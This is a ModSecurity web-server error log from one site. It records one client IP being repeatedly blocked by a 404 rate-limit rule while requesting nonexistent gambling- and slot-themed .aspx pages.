[Sun Feb 22 01:54:56.670477 2026] [:error] [pid 3195:tid 3446] [client 51.83.237.175:52738] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20168.aspx"] [unique_id "aZnxcA28anZ1nWyZCI5GJgAAAEc"]
[Sun Feb 22 01:54:56.858493 2026] [:error] [pid 3195:tid 3462] [client 51.83.237.175:36766] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZnxcA28anZ1nWyZCI5GJwAAAFc"]
[Sun Feb 22 01:54:56.939856 2026] [:error] [pid 3204:tid 3476] [client 51.83.237.175:52752] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aZnxcHAwnUMG8727rz4ZdgAAAIo"]
[Sun Feb 22 01:54:58.753351 2026] [:error] [pid 3204:tid 3480] [client 51.83.237.175:36772] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20789.aspx"] [unique_id "aZnxcnAwnUMG8727rz4ZegAAAI4"]
[Sun Feb 22 01:54:58.892801 2026] [:error] [pid 3204:tid 3487] [client 51.83.237.175:36788] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZnxcnAwnUMG8727rz4ZfAAAAJU"]
[Sun Feb 22 01:54:58.945535 2026] [:error] [pid 3204:tid 3481] [client 51.83.237.175:36804] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aZnxcnAwnUMG8727rz4ZfQAAAI8"]
[Sun Feb 22 01:55:00.975979 2026] [:error] [pid 3195:tid 3461] [client 51.83.237.175:36820] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aZnxdA28anZ1nWyZCI5GKQAAAFY"]
[Sun Feb 22 01:55:01.152886 2026] [:error] [pid 3195:tid 3463] [client 51.83.237.175:36836] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZnxdQ28anZ1nWyZCI5GKgAAAFg"]
[Sun Feb 22 01:55:01.371623 2026] [:error] [pid 3179:tid 3419] [client 51.83.237.175:36842] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aZnxddgAWCcL8bTGJUUvjwAAAAc"]
[Sun Feb 22 01:55:03.393679 2026] [:error] [pid 3204:tid 3485] [client 51.83.237.175:36854] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZnxd3AwnUMG8727rz4ZiwAAAJM"]
[Sun Feb 22 01:55:03.608580 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:36860] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZnxd69_231lp37V1xxU5gAAARI"]
[Sun Feb 22 01:55:04.120956 2026] [:error] [pid 3179:tid 3435] [client 51.83.237.175:36874] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aZnxeNgAWCcL8bTGJUUvlwAAABc"]
[Sun Feb 22 01:55:05.233059 2026] [:error] [pid 4789:tid 4800] [client 51.83.237.175:36886] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZnxea9_231lp37V1xxU7AAAAQk"]
[Sun Feb 22 01:55:05.997443 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:36902] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZnxea9_231lp37V1xxU7wAAAQA"]
[Sun Feb 22 01:55:06.822026 2026] [:error] [pid 3204:tid 3479] [client 51.83.237.175:46064] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aZnxenAwnUMG8727rz4ZkQAAAI0"]
[Sun Feb 22 01:55:07.504268 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:46070] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZnxew28anZ1nWyZCI5GMgAAAEs"]
[Sun Feb 22 01:55:08.630627 2026] [:error] [pid 3204:tid 3470] [client 51.83.237.175:46072] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZnxfHAwnUMG8727rz4ZmQAAAIQ"]
[Sun Feb 22 01:55:09.564841 2026] [:error] [pid 3204:tid 3479] [client 51.83.237.175:46080] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aZnxfXAwnUMG8727rz4ZnAAAAI0"]
[Sun Feb 22 01:55:09.793948 2026] [:error] [pid 3204:tid 3478] [client 51.83.237.175:46084] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnxfXAwnUMG8727rz4ZoAAAAIw"]
[Sun Feb 22 01:55:10.063507 2026] [:error] [pid 3204:tid 3482] [client 51.83.237.175:46100] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aZnxfnAwnUMG8727rz4ZogAAAJA"]
[Sun Feb 22 01:55:11.679312 2026] [:error] [pid 4789:tid 4791] [client 51.83.237.175:46106] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnxf69_231lp37V1xxU-AAAAQA"]
[Sun Feb 22 01:55:11.695729 2026] [:error] [pid 3516:tid 3522] [client 51.83.237.175:46118] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aZnxf0taWLejEJFWY3FAmgAAAMM"]
[Sun Feb 22 01:55:12.343836 2026] [:error] [pid 3516:tid 3543] [client 51.83.237.175:46132] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "aZnxgEtaWLejEJFWY3FAnAAAANg"]
[Sun Feb 22 01:55:13.612014 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:46136] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aZnxgUtaWLejEJFWY3FAnwAAANc"]
[Sun Feb 22 01:55:14.063853 2026] [:error] [pid 4789:tid 4800] [client 51.83.237.175:46152] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "aZnxgq9_231lp37V1xxU_QAAAQk"]
[Sun Feb 22 01:55:14.231028 2026] [:error] [pid 3516:tid 3523] [client 51.83.237.175:46154] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/robots.txt"] [unique_id "aZnxgktaWLejEJFWY3FAogAAAMQ"]
[Sun Feb 22 01:55:30.155616 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:46170] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aZnxkq9_231lp37V1xxVGgAAAQE"]
[Sun Feb 22 01:55:30.966077 2026] [:error] [pid 3516:tid 3521] [client 51.83.237.175:46184] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZnxkktaWLejEJFWY3FAuQAAAMI"]
[Sun Feb 22 01:55:31.321360 2026] [:error] [pid 3179:tid 3421] [client 51.83.237.175:36202] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1234%20slot.aspx"] [unique_id "aZnxk9gAWCcL8bTGJUUvtAAAAAk"]
[Sun Feb 22 01:55:31.866901 2026] [:error] [pid 3195:tid 3459] [client 51.83.237.175:44458] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "aZnxkw28anZ1nWyZCI5GWwAAAFQ"]
[Sun Feb 22 01:55:32.037960 2026] [:error] [pid 3179:tid 3423] [client 51.83.237.175:36218] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aZnxlNgAWCcL8bTGJUUvtQAAAAs"]
[Sun Feb 22 01:55:32.974287 2026] [:error] [pid 3204:tid 3486] [client 51.83.237.175:36234] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZnxlHAwnUMG8727rz4Z0QAAAJQ"]
[Sun Feb 22 01:55:33.667269 2026] [:error] [pid 3179:tid 3417] [client 51.83.237.175:36240] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1234%20superslot.aspx"] [unique_id "aZnxldgAWCcL8bTGJUUvuQAAAAU"]
[Sun Feb 22 01:55:34.175363 2026] [:error] [pid 4789:tid 4794] [client 51.83.237.175:36252] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aZnxlq9_231lp37V1xxVIQAAAQM"]
[Sun Feb 22 01:55:35.253480 2026] [:error] [pid 3195:tid 3442] [client 51.83.237.175:36258] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZnxlw28anZ1nWyZCI5GXwAAAEM"]
[Sun Feb 22 01:55:35.697754 2026] [:error] [pid 3179:tid 3420] [client 51.83.237.175:36274] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "aZnxl9gAWCcL8bTGJUUvwgAAAAg"]
[Sun Feb 22 01:55:36.816787 2026] [:error] [pid 3516:tid 3542] [client 51.83.237.175:36284] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/168%20slot.aspx"] [unique_id "aZnxmEtaWLejEJFWY3FAwAAAANc"]
[Sun Feb 22 01:55:37.030099 2026] [:error] [pid 4789:tid 4808] [client 51.83.237.175:34502] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aZnxma9_231lp37V1xxVJwAAARE"]
[Sun Feb 22 01:55:37.690857 2026] [:error] [pid 4789:tid 4809] [client 51.83.237.175:34508] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZnxma9_231lp37V1xxVKgAAARI"]
[Sun Feb 22 01:55:37.996413 2026] [:error] [pid 3179:tid 3426] [client 51.83.237.175:34524] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "aZnxmdgAWCcL8bTGJUUvxQAAAA4"]
[Sun Feb 22 01:55:39.651999 2026] [:error] [pid 3195:tid 3440] [client 51.83.237.175:34538] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/24th%20slot.aspx"] [unique_id "aZnxmw28anZ1nWyZCI5GbQAAAEE"]
[Sun Feb 22 01:55:39.830489 2026] [:error] [pid 4789:tid 4792] [client 51.83.237.175:34540] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aZnxm69_231lp37V1xxVMQAAAQE"]
[Sun Feb 22 01:55:40.272668 2026] [:error] [pid 4789:tid 4802] [client 51.83.237.175:34552] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "aZnxnK9_231lp37V1xxVMwAAAQs"]
[Sun Feb 22 01:55:41.897292 2026] [:error] [pid 3195:tid 3440] [client 51.83.237.175:34556] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZnxnQ28anZ1nWyZCI5GcwAAAEE"]
[Sun Feb 22 01:55:42.290349 2026] [:error] [pid 3516:tid 3540] [client 51.83.237.175:34566] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "aZnxnktaWLejEJFWY3FAxwAAANU"]
[Sun Feb 22 01:55:43.526608 2026] [:error] [pid 3516:tid 3535] [client 51.83.237.175:34570] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2xl%20slot.aspx"] [unique_id "aZnxn0taWLejEJFWY3FAyAAAANA"]
[Sun Feb 22 01:55:43.828232 2026] [:error] [pid 3195:tid 3445] [client 51.83.237.175:34574] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "aZnxnw28anZ1nWyZCI5GeAAAAEY"]
[Sun Feb 22 01:55:43.852089 2026] [:error] [pid 3516:tid 3524] [client 51.83.237.175:34590] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aZnxn0taWLejEJFWY3FAyQAAAMU"]
[Sun Feb 22 01:55:45.248970 2026] [:error] [pid 3516:tid 3530] [client 51.83.237.175:34600] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZnxoUtaWLejEJFWY3FAzQAAAMs"]
[Sun Feb 22 01:55:46.378663 2026] [:error] [pid 3195:tid 3450] [client 51.83.237.175:34612] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aZnxog28anZ1nWyZCI5GeQAAAEs"]
[Sun Feb 22 01:55:48.600323 2026] [:error] [pid 3516:tid 3526] [client 51.83.237.175:56032] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aZnxpEtaWLejEJFWY3FA1QAAAMc"]
[Sun Feb 22 01:55:48.640246 2026] [:error] [pid 3179:tid 3414] [client 51.83.237.175:34606] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/789%20slot.aspx"] [unique_id "aZnxpNgAWCcL8bTGJUUv2QAAAAI"]
[Sun Feb 22 01:55:49.621714 2026] [:error] [pid 3179:tid 3431] [client 51.83.237.175:56044] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZnxpdgAWCcL8bTGJUUv4AAAABM"]
[Sun Feb 22 01:55:50.061248 2026] [:error] [pid 3516:tid 3533] [client 51.83.237.175:56048] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "aZnxpktaWLejEJFWY3FA3QAAAM4"]
[Sun Feb 22 01:55:50.566337 2026] [:error] [pid 3179:tid 3424] [client 51.83.237.175:56056] [client 51.83.237.175] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aZnxptgAWCcL8bTGJUUv4gAAAAw"]
